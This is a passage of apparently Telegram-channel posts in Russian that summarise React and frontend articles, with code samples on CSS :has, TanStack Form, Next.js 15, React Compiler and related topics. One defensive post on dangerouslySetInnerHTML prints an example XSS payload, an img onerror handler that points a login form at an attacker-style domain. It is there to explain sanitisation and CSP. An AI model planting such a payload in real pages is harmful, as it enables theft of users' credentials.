Замена кода на React на CSS :has псевдокласс
Через CSS можно стилизовать дочерние элементы на основании родительского элемента:
С помощью псевдокласса :has можно сделать наоборот, снизу вверх: стилизовать родительский элемент на основании дочернего элемента. Например, карточки, в которых есть изображение, имеют другой цвет границы:
Псевдокласс :has поддерживается всеми основными браузерами, глобально 92% пользователей поддерживают его.
С помощью псевдокласса :has можно сделать многие фичи без написания кода на React. В своем блоге Надя Макаревич рассказала несколько примеров использования :has, которые заменяют код на React. Например, стилизация карточки и соседних карточек при фокусе на кнопки действий внутри карточки. Пример CSS стилей:
https://www.developerway.com/posts/replacing-react-with-css
Через CSS можно стилизовать дочерние элементы на основании родительского элемента:
.content .card {
background: #f0f0f0;
}
С помощью псевдокласса :has можно сделать наоборот, снизу вверх: стилизовать родительский элемент на основании дочернего элемента. Например, карточки, в которых есть изображение, имеют другой цвет границы:
.card:has(img) {
border-top: 10px solid #fee6ec;
}
Псевдокласс :has поддерживается всеми основными браузерами, глобально 92% пользователей поддерживают его.
С помощью псевдокласса :has можно сделать многие фичи без написания кода на React. В своем блоге Надя Макаревич рассказала несколько примеров использования :has, которые заменяют код на React. Например, стилизация карточки и соседних карточек при фокусе на кнопки действий внутри карточки. Пример CSS стилей:
// Все карточки после карточки с фокусом на кнопку «открытия»
.card:has([data-action='open']:focus-visible) ~ .card,
// Все карточки перед карточкой с фокусом на кнопку «открытия»
.card:has(~ .card [data-action='open']:focus-visible) {
filter: greyscale();
background-color: #f6f7f6;
}
// Стиль карточки с фокусом на кнопку «открытия»
.card:has([data-action='open']:focus-visible) {
transform: scale(1.02);
border-top: 10px solid #c3dccf;
}
https://www.developerway.com/posts/replacing-react-with-css
Developerway
Replacing React code with CSS :has selector
Looking into what the new CSS :has selector is and how it can be used to improve our React code. Includes practical and beautiful examples.
👍17
TanStack Form
Стейт менеджер формы от TanStack. Особенности:
🔴 Headless архитектура
🔴 Гранулированная реактивность
🔴 Поддержка сложных валидаций и обработок ошибок на уровне формы, поля
🔴 Поддержка через адаптеры для валидаций Zod, Yup, Valibot
🔴 Небольшой размер (5.2кБ gzip)
🔴 Поддержка вложенных объектов и массивов
Пример:
https://tanstack.com/form/latest/docs/overview
Стейт менеджер формы от TanStack. Особенности:
Пример:
import { useForm } from '@tanstack/react-form';
export default function App() {
const form = useForm({
defaultValues: {
firstName: '',
},
onSubmit: async ({ value }) => {
// Do something with form data
console.log(value);
},
});
return (
<div>
<h1>Simple Form Example</h1>
<form
onSubmit={(e) => {
e.preventDefault();
e.stopPropagation();
form.handleSubmit();
}}
>
<div>
<form.Field
name="firstName"
validators={{
onChangeAsyncDebounceMs: 500,
onChangeAsync: async ({ value }) => {
await new Promise((resolve) => setTimeout(resolve, 1000));
return (
value.includes('error') && 'No "error" allowed in first name'
);
},
}}
children={(field) => {
return (
<>
<label htmlFor={field.name}>First Name:</label>
<input
id={field.name}
name={field.name}
value={field.state.value}
onBlur={field.handleBlur}
onChange={(e) => field.handleChange(e.target.value)}
/>
</>
);
}}
/>
</div>
<form.Subscribe
selector={(state) => [state.canSubmit, state.isSubmitting]}
children={([canSubmit, isSubmitting]) => (
<button type="submit" disabled={!canSubmit}>
{isSubmitting ? '...' : 'Submit'}
</button>
)}
/>
</form>
</div>
);
}
https://tanstack.com/form/latest/docs/overview
Please open Telegram to view this post
VIEW IN TELEGRAM
Tanstack
Overview | TanStack Form Docs
TanStack Form is the ultimate solution for handling forms in web applications, providing a powerful and flexible approach to form management. Designed with first-class TypeScript support, headless UI...
🔥6👍2
Чистый код React с TypeScript
В своей статье Робин Везер объясняет, как правильно типизировать компоненты React, использовать встроенные типы React, обрабатывать пропсы и дочерние элементы, управлять стейтом с помощью хуков, работать с рефами и обрабатывать события.
Несколько примеров, которые привел автор статьи:
✨ Передача компонентов в пропсах. Можно указать требуемые пропсы у передаваемых компонентов, а определить компонент через генерик тип ComponentType:
✨ Для определения рефов через пропсы используйте генерик тип RefObject:
✨ MouseEvent и React.MouseEvent. MouseEvent - это нативное JavaScript событие, а React.MouseEvent - это синтетическое событие, которое используется в колбеках React. У них много общего, и их часто можно использовать как взаимозаменяемые, но версия React также учитывает несовместимость браузеров и включает некоторые специфичные для React методы, такие как persist().
https://weser.io/blog/clean-react-with-typescript
В своей статье Робин Везер объясняет, как правильно типизировать компоненты React, использовать встроенные типы React, обрабатывать пропсы и дочерние элементы, управлять стейтом с помощью хуков, работать с рефами и обрабатывать события.
Несколько примеров, которые привел автор статьи:
import { ComponentType } from 'react'
type ProductTileProps = {
title: string
description?: string
}
type Props = {
render: ComponentType<ProductTileProps>
}
function ProductTile({ render }: Props) {
const props = {…}
return render(props)
}
import { RefObject } from 'react'
type Props = {
anchor: RefObject<HTMLElement>
}
function Popover({ anchor }: Props) {
// position component according to the anchor ref
}
https://weser.io/blog/clean-react-with-typescript
Please open Telegram to view this post
VIEW IN TELEGRAM
Robin Weser's Blog
Clean React with TypeScript
Exploring common React features and patterns and how to seamlessly integrate them with TypeScript
👎11👍9❤1
Композиция компонентов в React
В своем блоге Доминик Дорфмайстер поделился, почему стоит предпочитать композицию компонентов и ранний возврат, а не условный рендеринг нескольких состояний. Рассмотрим пример «плохого» компонента:
Этот компонент плох тем, что в нем много внутренних условных рендеров, что усложняет чтение и понимание работы компонента. Если разобраться во внутренних условиях, то компонент выше можно разделить на три соответствующих состоянию запроса: во время загрузки, нет данных и есть данные. Чтобы отображать каждое состояние запроса по отдельности, используйте ранний возврат и композицию. Такой код будет проще и легче читать. Пример:
https://tkdodo.eu/blog/component-composition-is-great-btw
В своем блоге Доминик Дорфмайстер поделился, почему стоит предпочитать композицию компонентов и ранний возврат, а не условный рендеринг нескольких состояний. Рассмотрим пример «плохого» компонента:
function Layout(props: { children: ReactNode }) {
return (
<Card>
<CardHeading>Welcome 👋</CardHeading>
<CardContent>{props.children}</CardContent>
</Card>
)
}
export function ShoppingList() {
const { data, isPending } = useQuery(/* ... */)
return (
<Layout>
{data?.assignee ? <UserInfo {...data.assignee} /> : null}
{isPending ? <Skeleton /> : null}
{!data && !isPending ? <EmptyScreen /> : null}
{data
? data.content.map((item) => (
<ShoppingItem key={item.id} {...item} />
))
: null}
</Layout>
)
}
Этот компонент плох тем, что в нем много внутренних условных рендеров, что усложняет чтение и понимание работы компонента. Если разобраться во внутренних условиях, то компонент выше можно разделить на три соответствующих состоянию запроса: во время загрузки, нет данных и есть данные. Чтобы отображать каждое состояние запроса по отдельности, используйте ранний возврат и композицию. Такой код будет проще и легче читать. Пример:
export function ShoppingList() {
const { data, isPending } = useQuery(/* ... */)
if (isPending) {
return (
<Layout>
<Skeleton />
</Layout>
)
}
if (!data) {
return (
<Layout>
<EmptyScreen />
</Layout>
)
}
return (
<Layout>
{data.assignee ? <UserInfo {...data.assignee} /> : null}
{data.content.map((item) => (
<ShoppingItem key={item.id} {...item} />
))}
</Layout>
)
}
https://tkdodo.eu/blog/component-composition-is-great-btw
tkdodo.eu
Component Composition is great btw
Component composition is one of the best parts of React, and I think we should take more time to break our components into manageable parts before littering one component with conditional renderings.
👍28
Контроль компонентов через URL
Интерактивный пост в блоге как сделать поле поиска в таблице, чтобы запрос сохранялся в URL. В примере иллюстрируется распространенный анти-паттерн, когда пытаются синхронизировать стейт поиска и URL.
Правильный паттерн в таком примере использовать URL как источник истины и отказаться от стейта. Это связано с тем, что URL находится вне нашего контроля, и пользователь может сам его изменять. Поэтому использование стейта и useEffect для синхронизации будет приводить к багам. Пример использования URL как источника истины:
https://buildui.com/posts/how-to-control-a-react-component-with-the-url
Интерактивный пост в блоге как сделать поле поиска в таблице, чтобы запрос сохранялся в URL. В примере иллюстрируется распространенный анти-паттерн, когда пытаются синхронизировать стейт поиска и URL.
Правильный паттерн в таком примере использовать URL как источник истины и отказаться от стейта. Это связано с тем, что URL находится вне нашего контроля, и пользователь может сам его изменять. Поэтому использование стейта и useEffect для синхронизации будет приводить к багам. Пример использования URL как источника истины:
export default function Home() {
let searchParams = useSearchParams();
let search = searchParams.get('search') ?? '';
/* ... */
return (
<>
{/* ... */}
<Input
value={search}
onChange={(e) => {
let search = e.target.value;
if (search) {
router.push(`${pathname}?search=${search}`);
} else {
router.push(pathname);
}
}}
placeholder="Find someone..."
/>
</>
);
}
https://buildui.com/posts/how-to-control-a-react-component-with-the-url
Build UI
How to control a React component with the URL
👍22👎3
Релиз React DevTools 6.0
Вышел релиз React DevTools 6.0. Основные изменения были связаны с поддержкой серверных компонентов. Что нового:
🔴 Поддержка серверных компонентов в дереве.
🔴 Фильтрация компонентов по окружению. Можно исключить серверные/клиентские компоненты из дерева.
🔴 При выводе стека ошибки использует source map для быстрого перехода в компонент, где произошла ошибка.
🔴 Раскрыли функцию installHook, в которую можно передать настройки. Пригодится для авторов библиотек.
Браузерное расширение еще не было опубликовано, но ознакомиться со списком изменений подробнее и со скриншотами можно в changelog:
https://github.com/facebook/react/blob/main/packages/react-devtools/CHANGELOG.md#600
Вышел релиз React DevTools 6.0. Основные изменения были связаны с поддержкой серверных компонентов. Что нового:
Браузерное расширение еще не было опубликовано, но ознакомиться со списком изменений подробнее и со скриншотами можно в changelog:
https://github.com/facebook/react/blob/main/packages/react-devtools/CHANGELOG.md#600
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18
Негласные правила React хуков
При объявлении хука useEffect нужно указывать список зависимостей, массив переменных, которые используются внутри хука. Например:
В этом случае хук объявлен неправильно, переменная x не указана как зависимость. Однако, это правило не универсальное. Некоторые переменные являются стабильными, т.е. ссылка на них не меняется при ре-рендере, и их можно не указывать. Для того чтобы не ошибаться, нужно использовать плагин eslint-plugin-react-hooks. Например, какие переменные плагин считает стабильными:
В своем блоге автор высказывает мнение, что есть недостаток в этом подходе. Если использовать хуки из сторонних библиотек, то возвращаемые в них переменные всегда нужно указывать в зависимостях эффекта. Это может быть setter useAtom из Jotai или вызов функции useMutation из tanstack-query. По идее эти переменные тоже стабильные, но их придется указывать в зависимостях, иначе будет ошибка плагина eslint-plugin-react-hooks.
https://macwright.com/2024/09/19/the-extra-rules-of-hooks
При объявлении хука useEffect нужно указывать список зависимостей, массив переменных, которые используются внутри хука. Например:
const [x, setX] = useState(0);
useEffect(() => {
console.log(x);
}, []);
В этом случае хук объявлен неправильно, переменная x не указана как зависимость. Однако, это правило не универсальное. Некоторые переменные являются стабильными, т.е. ссылка на них не меняется при ре-рендере, и их можно не указывать. Для того чтобы не ошибаться, нужно использовать плагин eslint-plugin-react-hooks. Например, какие переменные плагин считает стабильными:
const [state, setState] = useState() / React.useState()
// ^^^ стабильная ссылка
const [state, dispatch] = useReducer() / React.useReducer()
// ^^^ стабильная ссылка
const [state, dispatch] = useActionState() / React.useActionState()
// ^^^ стабильная ссылка
const ref = useRef()
// ^^^ стабильная ссылка
const onStuff = useEffectEvent(() => {})
// ^^^ стабильная ссылка
Остальные ссылки не стабильны
В своем блоге автор высказывает мнение, что есть недостаток в этом подходе. Если использовать хуки из сторонних библиотек, то возвращаемые в них переменные всегда нужно указывать в зависимостях эффекта. Это может быть setter useAtom из Jotai или вызов функции useMutation из tanstack-query. По идее эти переменные тоже стабильные, но их придется указывать в зависимостях, иначе будет ошибка плагина eslint-plugin-react-hooks.
https://macwright.com/2024/09/19/the-extra-rules-of-hooks
macwright.com
The unspoken rules of React hooks
👎36👍7
Оптимизация загрузки SPA с помощью предварительной загрузки чанков
Для уменьшения размера бандла используют подход разделения кода по роутам. В этом подходе при открытии или переключении страницы происходит ленивая загрузка чанка роута. Из-за ленивой загрузки чанка, парсинга и выполнения скрипта увеличивается время загрузки страницы. Это может быть особенно актуально при открытии сайта, в случае ленивой загрузки происходит «водопад» запросов – сначала загружается и исполняется основной бандл, который лениво загружает чанк текущей страницы.
Для решения проблемы водопада при открытии сайта можно вставлять небольшой скрипт в
В своей статье автор поделился скриптом для предварительной загрузки чанка. Для реализации автор использовал сборщик Rsbuild. Для именования чанков можно использовать комментарий webpackChunkName. Это пригодится для мапинга пути и имени чанка:
https://mmazzarolo.com/blog/2024-08-13-async-chunk-preloading-on-load/
Для уменьшения размера бандла используют подход разделения кода по роутам. В этом подходе при открытии или переключении страницы происходит ленивая загрузка чанка роута. Из-за ленивой загрузки чанка, парсинга и выполнения скрипта увеличивается время загрузки страницы. Это может быть особенно актуально при открытии сайта, в случае ленивой загрузки происходит «водопад» запросов – сначала загружается и исполняется основной бандл, который лениво загружает чанк текущей страницы.
Для решения проблемы водопада при открытии сайта можно вставлять небольшой скрипт в
<head>, который будет мапить текущий адрес и чанк роута. Найденный чанк роута может подгружаться через link rel="preload”. В своей статье автор поделился скриптом для предварительной загрузки чанка. Для реализации автор использовал сборщик Rsbuild. Для именования чанков можно использовать комментарий webpackChunkName. Это пригодится для мапинга пути и имени чанка:
const Home = lazy(
() => import(/* webpackChunkName: "home" */ "./pages/home-page"),
);
export const routeChunkMapping = {
"/": "home",
"/home": "home"
};
https://mmazzarolo.com/blog/2024-08-13-async-chunk-preloading-on-load/
Mmazzarolo
Optimizing SPA load times with async chunks preloading
Improve the performance of client-side rendered SPAs by avoiding the waterfall effect caused by route-based lazy-loading.
👍11❤3
Environment API в Vite
В Vite 6 появится Environment API, которое позволит использовать Vite в разных окружениях. Это нужная фича для React. Например, это позволит для React с серверными компонентами создавать разный бандл для клиента, сервера и RSC – т.е. 3 разных бандла под каждое окружение.
Кроме этого, Environment API позволит запускать приложения не только на Node.js, но и в других средах выполнения, таких как Deno, Bun, Edge Runtime, а также создавать для этих сред выполнения бандл.
Новое API – это низкоуровневое API, которое предназначено для разработчиков библиотек, и не предполагается, что его будут использовать пользователи напрямую.
https://green.sapphi.red/blog/increasing-vites-potential-with-the-environment-api
В Vite 6 появится Environment API, которое позволит использовать Vite в разных окружениях. Это нужная фича для React. Например, это позволит для React с серверными компонентами создавать разный бандл для клиента, сервера и RSC – т.е. 3 разных бандла под каждое окружение.
Кроме этого, Environment API позволит запускать приложения не только на Node.js, но и в других средах выполнения, таких как Deno, Bun, Edge Runtime, а также создавать для этих сред выполнения бандл.
Новое API – это низкоуровневое API, которое предназначено для разработчиков библиотек, и не предполагается, что его будут использовать пользователи напрямую.
https://green.sapphi.red/blog/increasing-vites-potential-with-the-environment-api
green.sapphi.red
Increasing Vite's potential with the Environment API
sapphi-red's portfolio.
👍20
This media is not supported in your browser
VIEW IN TELEGRAM
Drag to Select
Интерактивный гайд с иллюстрациями о том, как реализовать выбор элементов в React. В гайде учтены разные функции, например скроллинг во время перетаскивания, отмена всего выбора через Escape и уменьшение количества выбранных элементов.
https://www.joshuawootonn.com/react-drag-to-select
Интерактивный гайд с иллюстрациями о том, как реализовать выбор элементов в React. В гайде учтены разные функции, например скроллинг во время перетаскивания, отмена всего выбора через Escape и уменьшение количества выбранных элементов.
https://www.joshuawootonn.com/react-drag-to-select
👍36🔥5
Релиз Next.js 15
Вышел релиз Next.js 15. Можно обновиться как вручную, так и автоматически, используя CLI. Коротко о новых фичах:
- Изменения в API асинхронных запросов. Такие функции как headers, cookies, params и searchParams стали асинхронными. Пример использования:
- fetch запросы, обработчики GET роутов и клиентская навигация не будут по умолчанию кэшироваться. Для fetch запросов появился дополнительный параметр cache:
Параметр
Параметр
- Используется React 19 RC для App Router. Осталась обратная поддержка React 18 для Pages Router. Добавлена поддержка React Compiler. Улучшена читаемость ошибок гидратации – показывается дифф сервер/клиент.
- Улучшения в Turbopack Dev: стал быстрее, стабильнее.
- Добавлен компонент Form с поддержкой прогрессивного улучшения. При сабмите будет происходить переход на страницу в action с параметрами.
- Поддержка TypeScript в файле конфига. Можно использовать файл next.config.ts.
https://nextjs.org/blog/next-15
Вышел релиз Next.js 15. Можно обновиться как вручную, так и автоматически, используя CLI. Коротко о новых фичах:
- Изменения в API асинхронных запросов. Такие функции как headers, cookies, params и searchParams стали асинхронными. Пример использования:
import { cookies } from 'next/headers';
export async function AdminPanel() {
const cookieStore = await cookies();
const token = cookieStore.get('token');
// ...
}
- fetch запросы, обработчики GET роутов и клиентская навигация не будут по умолчанию кэшироваться. Для fetch запросов появился дополнительный параметр cache:
force-cache и no-store. Параметр
force-cache используется для получения данных из кэша, если есть данные, или производит запрос.Параметр
no-store всегда производит запрос.
fetch('https://...', { cache: 'force-cache' | 'no-store' });
- Используется React 19 RC для App Router. Осталась обратная поддержка React 18 для Pages Router. Добавлена поддержка React Compiler. Улучшена читаемость ошибок гидратации – показывается дифф сервер/клиент.
- Улучшения в Turbopack Dev: стал быстрее, стабильнее.
- Добавлен компонент Form с поддержкой прогрессивного улучшения. При сабмите будет происходить переход на страницу в action с параметрами.
import Form from 'next/form';
export default function Page() {
return (
<Form action="/search">
<input name="query" />
<button type="submit">Submit</button>
</Form>
);
}
- Поддержка TypeScript в файле конфига. Можно использовать файл next.config.ts.
https://nextjs.org/blog/next-15
nextjs.org
Next.js 15
Next.js 15 introduces React 19 support, caching improvements, a stable release for Turbopack in development, new APIs, and more.
🔥15👍9
useContextSelector – быстрый доступ к большому контексту
Если в вашем приложении используется большой контекст, то он может негативно влиять на производительность приложения. Каждое изменение контекста вызывает ре-рендер всех компонентов, которые зависят от контекста.
Чтобы уменьшить лишние ре-рендеры, можно мемоизировать компоненты:
Еще один вариант оптимизации - разделить один большой контекст на несколько. У такого подхода есть минус: когда используется слишком много контекстов, с этим сложно работать.
Если вы не хотите использовать стейт-менеджеры, то при работе с контекстом можете использовать библиотеку use-context-selector. С ее помощью можно читать только часть объекта контекста и ре-рендерить, когда эта часть изменится.
https://marmelab.com/blog/2024/10/16/usecontextselector-a-faster-usecontext-for-react.html
Если в вашем приложении используется большой контекст, то он может негативно влиять на производительность приложения. Каждое изменение контекста вызывает ре-рендер всех компонентов, которые зависят от контекста.
Чтобы уменьшить лишние ре-рендеры, можно мемоизировать компоненты:
import { memo } from 'react';
const Welcome = () => {
const { color } = useContext(ThemeContext);
return <WelcomeBody color={color} />
}
const WelcomeBody = memo(({ color }) => {
return <div style={{ color }}>Hello!</div>;
})
Еще один вариант оптимизации - разделить один большой контекст на несколько. У такого подхода есть минус: когда используется слишком много контекстов, с этим сложно работать.
Если вы не хотите использовать стейт-менеджеры, то при работе с контекстом можете использовать библиотеку use-context-selector. С ее помощью можно читать только часть объекта контекста и ре-рендерить, когда эта часть изменится.
import { createContext, useContextSelector } from 'use-context-selector';
const MyContext = createContext(null);
const Counter1 = () => {
const value = useContextSelector(MyContext, value => value.myValue);
…
}
https://marmelab.com/blog/2024/10/16/usecontextselector-a-faster-usecontext-for-react.html
Marmelab
useContextSelector: Speeding Up React Apps With Large Context
Tips and tricks to optimize the performance of your React app
👍10👎9❤5
Бета релиз React Compiler
Вышел бета релиз React Compiler и ESLint плагина.
Компилятор работает с 19 версией React, но можно запускать и с 17, 18, дополнительно установив react-compiler-runtime. Пример использования React Compiler в Vite:
React Compiler можно запускать только на часть проекта, указав какие файлы обрабатывать:
Можно использовать ESLint плагин без использования компилятора. ESLint плагин позволяет разработчикам заблаговременно выявлять и исправлять нарушения правил React.
https://react.dev/blog/2024/10/21/react-compiler-beta-release
Вышел бета релиз React Compiler и ESLint плагина.
npm install -D babel-plugin-react-compiler@beta eslint-plugin-react-compiler@beta
Компилятор работает с 19 версией React, но можно запускать и с 17, 18, дополнительно установив react-compiler-runtime. Пример использования React Compiler в Vite:
// vite.config.js
const ReactCompilerConfig = { /* ... */ };
export default defineConfig(() => {
return {
plugins: [
react({
babel: {
plugins: [
["babel-plugin-react-compiler", ReactCompilerConfig],
],
},
}),
],
// ...
};
});
React Compiler можно запускать только на часть проекта, указав какие файлы обрабатывать:
const ReactCompilerConfig = {
sources: (filename) => {
return filename.indexOf('src/path/to/dir') !== -1;
},
};
Можно использовать ESLint плагин без использования компилятора. ESLint плагин позволяет разработчикам заблаговременно выявлять и исправлять нарушения правил React.
import reactCompiler from 'eslint-plugin-react-compiler'
export default [
{
plugins: {
'react-compiler': reactCompiler,
},
rules: {
'react-compiler/react-compiler': 'error',
},
},
]
https://react.dev/blog/2024/10/21/react-compiler-beta-release
react.dev
React Compiler Beta Release – React
The library for web and native user interfaces
👍18👎2❤1🔥1
Два пути к двум React
Интересные мысли о разном видении интеграции современных функций React в Next.js и TanStack Start.
✨ Next.js – одна из самых популярных библиотек для React. С App Router сервер стал основным местом для вычислений в приложении. Вся основная логика по рендеру перешла в серверные компоненты. Клиентские компоненты нужны только для интерактивности.
Когда сервер является основным в React приложении, то лучшим способом уменьшения вычислений и ускорения работы приложения является кэширование. Next.js поэтапно внедряла кэширование. Например, в бете App Router в Next.js 13 внедрила автоматическое кэширование
✨ TanStack Start – это вариант, когда надо внедрить серверные компоненты, но не хочется делать поворот на 180 градусов относительно того, как создают и структурируют приложение. TanStack Start добавляет поддержку серверных фич, таких как SSR и гидратация, стриминг, серверные функции и другие. Серверные компоненты пока не поддерживаются. Под капотом используется TanStack Router и vinxi. Вкратце, TanStack Router для клиентского роутинга, а TanStack Start для фулстек роутинга. Пример кода роутера:
Пример файла для запуска сервера:
Пример файла для гидратации на клиенте:
https://bobaekang.com/blog/two-ways-to-the-two-reacts/
Интересные мысли о разном видении интеграции современных функций React в Next.js и TanStack Start.
Когда сервер является основным в React приложении, то лучшим способом уменьшения вычислений и ускорения работы приложения является кэширование. Next.js поэтапно внедряла кэширование. Например, в бете App Router в Next.js 13 внедрила автоматическое кэширование
fetch, потом поменяла поведение в Next.js 15 и внедрила директиву ”use cache”.
// app/router.tsx
import { createRouter as createTanStackRouter } from '@tanstack/react-router'
import { routeTree } from './routeTree.gen' // Этот файл генерируется автоматически
export function createRouter() {
const router = createTanStackRouter({
routeTree,
})
return router
}
declare module '@tanstack/react-router' {
interface Register {
router: ReturnType<typeof createRouter>
}
}
Пример файла для запуска сервера:
// app/ssr.tsx
/// <reference types="vinxi/types/server" />
import {
createStartHandler,
defaultStreamHandler,
} from '@tanstack/start/server'
import { getRouterManifest } from '@tanstack/start/router-manifest'
import { createRouter } from './router'
export default createStartHandler({
createRouter,
getRouterManifest,
})(defaultStreamHandler)
Пример файла для гидратации на клиенте:
// app/client.tsx
/// <reference types="vinxi/types/client" />
import { hydrateRoot } from 'react-dom/client'
import { StartClient } from '@tanstack/start'
import { createRouter } from './router'
const router = createRouter()
const root = document.getElementById('root')
if (!root) {
throw new Error('Root element not found')
}
hydrateRoot(root, <StartClient router={router} />)
https://bobaekang.com/blog/two-ways-to-the-two-reacts/
Please open Telegram to view this post
VIEW IN TELEGRAM
Bobaekang
Two ways to the two Reacts | bobae kang
Next.js App Router and TanStack Start represent two distinct ways to the full-stack React
👍11❤1👎1🔥1
Управление стейтом в URL в Next.js App Router
В своей статье Аврора Шарфф на примере компонента фильтра показывает, что не так просто управлять стейтом в URL search params в Next.js App Router. Для того чтобы сразу показывать выбранные фильтры при изменении URL, необходимо использовать useTransition и useOptimistic. Иначе URL обновится только после окончания рендера страницы. Также автор рекомендует валидировать входящие данных из URL с помощью валидатора Zod.
Вместо изобретения собственного велосипеда можно использовать библиотеку nuqs – типобезопасный менеджер стейта в URL search params. У него есть встроенный валидатор, где можно объявить дефолтный стейт. Также он поддерживает Next.js и useTransition. Пример использования:
https://aurorascharff.no/posts/managing-advanced-search-param-filtering-next-app-router/
В своей статье Аврора Шарфф на примере компонента фильтра показывает, что не так просто управлять стейтом в URL search params в Next.js App Router. Для того чтобы сразу показывать выбранные фильтры при изменении URL, необходимо использовать useTransition и useOptimistic. Иначе URL обновится только после окончания рендера страницы. Также автор рекомендует валидировать входящие данных из URL с помощью валидатора Zod.
Вместо изобретения собственного велосипеда можно использовать библиотеку nuqs – типобезопасный менеджер стейта в URL search params. У него есть встроенный валидатор, где можно объявить дефолтный стейт. Также он поддерживает Next.js и useTransition. Пример использования:
// searchParams.ts
import { parseAsString, createSearchParamsCache, parseAsArrayOf } from 'nuqs/server';
export const searchParams = {
category: parseAsArrayOf(parseAsString).withDefault([]),
q: parseAsString.withDefault(''),
};
export const searchParamsCache = createSearchParamsCache(searchParams);
// Search.tsx
export default function Search() {
const params = useParams();
const [isPending, startTransition] = useTransition();
const [q, setQ] = useQueryState(
'q',
searchParams.q.withOptions({
shallow: false,
startTransition,
}),
);
return (
<form>
<input
onChange={e => {
setQ(e.target.value);
}}
defaultValue={q}
type="search"
/>
<SearchStatus searching={isPending} />
</Form>
);
}
https://aurorascharff.no/posts/managing-advanced-search-param-filtering-next-app-router/
aurorascharff.no
Managing Advanced Search Param Filtering in the Next.js App Router | Aurora Scharff
Learn how to implement advanced search param filtering in the Next.js App Router, utilizing React 19 features like useOptimistic and the library nuqs.
👎7👍5
Безопасное использование dangerouslySetInnerHTML
В своем блоге Алекс Макартур рассказал о безопасном использовании dangerouslySetInnerHTML. По умолчанию, dangerouslySetInnerHTML не даст запустить <script> внутри переданного HTML, т.к. основан на innerHTML, который запрещает это делать. Однако есть другая возможность выполнить JavaScript внутри dangerouslySetInnerHTML – через inline-обработчики события. Пример кода, который выполнится и может украсть личную информацию пользователя:
Если вы собираетесь сделать dangerouslySetInnerHTML полностью безопасным, то есть два варианта: Content Security Policy или HTML санитайзер. Пытаться сделать свой HTML санитайзер бесполезно, есть много разных способов выполнения JavaScript, о которых можно не знать, например через псевдопротокол javascript://. Лучше используйте популярные библиотеки DOMPurify или sanitize-html.
Если хотите быть уверены в безопасности dangerouslySetInnerHTML, то используйте Content Security Policy. Пример кода, который полностью запретит все inline-обработчики и javascript:// протокол:
https://macarthur.me/posts/safer-dangerouslysetinnerhtml/
В своем блоге Алекс Макартур рассказал о безопасном использовании dangerouslySetInnerHTML. По умолчанию, dangerouslySetInnerHTML не даст запустить <script> внутри переданного HTML, т.к. основан на innerHTML, который запрещает это делать. Однако есть другая возможность выполнить JavaScript внутри dangerouslySetInnerHTML – через inline-обработчики события. Пример кода, который выполнится и может украсть личную информацию пользователя:
const App = () => {
return (
<div dangerouslySetInnerHTML={{ __html: `
<img src="x" onerror="document.getElementById('loginForm').action = 'https://bad-place-that-will-steal-your-info.com'">
`}}></div>
);
}
Если вы собираетесь сделать dangerouslySetInnerHTML полностью безопасным, то есть два варианта: Content Security Policy или HTML санитайзер. Пытаться сделать свой HTML санитайзер бесполезно, есть много разных способов выполнения JavaScript, о которых можно не знать, например через псевдопротокол javascript://. Лучше используйте популярные библиотеки DOMPurify или sanitize-html.
Если хотите быть уверены в безопасности dangerouslySetInnerHTML, то используйте Content Security Policy. Пример кода, который полностью запретит все inline-обработчики и javascript:// протокол:
Content-Security-Policy: "script-src 'self'";
https://macarthur.me/posts/safer-dangerouslysetinnerhtml/
Alex MacArthur
TIL: inline event handlers still fire when passed to React's dangerouslySetInnerHTML
Even though it won't run <script> tags, React's dangerouslySetInnerHTML still allows inline event handlers to execute. Here's how you might neutralize that threat.
👍22❤1
Сохраняйте один уровень абстракции для каждой функции
Представьте компонент, который показывает информацию о текущем пользователе и статус активен ли пользователь в данный момент. Пример такого компонента:
Это довольно распространенный пример компонента на React. Он не сложный, но в нем есть одна проблема: смешение разных уровней абстракций.
Когда вы пишите код, то смешение разных уровней абстракций в пределах одной функции часто приводит к путанице и затрудняет понимание. Более чистый подход заключается в том, чтобы поддерживать каждую функцию на своем уровне абстракции. На практике это означает, что более высокие функции не должны погружаться в детали, а должны использовать более мелкие функции, в которых скрыты детали.
Рассмотрим тот же компонент после рефакторинга:
Обратите внимание, насколько легче стало его читать. Достаточно одного взгляда, чтобы разобраться что компонент делает.
https://www.tymzap.com/blog/the-magic-of-keeping-one-abstraction-level-per-function
Представьте компонент, который показывает информацию о текущем пользователе и статус активен ли пользователь в данный момент. Пример такого компонента:
import { useState, useEffect } from "react";
function UserProfile({ userId }) {
const [user, setUser] = useState(null);
useEffect(() => {
fetch(`https://api.example.com/users/${userId}`)
.then(response => response.json())
.then(data => {
const isActive = data.accountStatus === "active" &&
new Date(data.lastLogin) >= new Date(Date.now() - 30 * 24 * 60 * 60 * 1000);
setUser({
name: `${data.firstName} ${data.lastName}`,
email: data.email,
isActive,
});
});
}, [userId]);
if (!user) {
return <p>Loading...</p>;
}
return (
<div>
{user.name} is {user.isActive ? "active" : "inactive"}
</div>
);
}
Это довольно распространенный пример компонента на React. Он не сложный, но в нем есть одна проблема: смешение разных уровней абстракций.
Когда вы пишите код, то смешение разных уровней абстракций в пределах одной функции часто приводит к путанице и затрудняет понимание. Более чистый подход заключается в том, чтобы поддерживать каждую функцию на своем уровне абстракции. На практике это означает, что более высокие функции не должны погружаться в детали, а должны использовать более мелкие функции, в которых скрыты детали.
Рассмотрим тот же компонент после рефакторинга:
import { useState, useEffect } from "react";
function UserProfile({ userId }) {
const [user, setUser] = useState(null);
useEffect(() => {
fetchUser(userId).then((data) => setUser(normalizeUser(data)));
}, [userId]);
if (!user) {
return <Loader />;
}
return <UserStatus user={user} />;
}
Обратите внимание, насколько легче стало его читать. Достаточно одного взгляда, чтобы разобраться что компонент делает.
https://www.tymzap.com/blog/the-magic-of-keeping-one-abstraction-level-per-function
Tymzap
The magic of keeping one level of abstraction per function • Tymek Zapała
I’m a software engineer and product maker based in Cracow, Poland. My mission is to create useful products by writing high-quality code and sharing my knowledge throughout the journey.
👍21👎2❤1
Релиз React Router v7
Вышел релиз React Router v7. В новой версии можно использовать React Router в двух вариантах: как полноценный фулстек фреймворк (типа Remix) через Vite или как раньше, как библиотеку для роутинга. Также в новой версии появилась поддержка SSG, улучшилась настройка роутинга через конфиг и улучшена типизация. Поддержка RSC будет позже, когда React 19 и Vite Environment API будут готовы.
При апгрейде на 7 версию нет критических изменений, если уже на 6ой версии включили флаги 7ой версии. Эти флаги позволяют обновить приложение на 7ую версию по шагам. В 7ой версии пакет с названием
Пример файла роутера при использовании React Router как фреймворк:
Пример файла модуля:
В файле модуля можно экспортировать функции:
- loader – для предзагрузки данных на сервере.
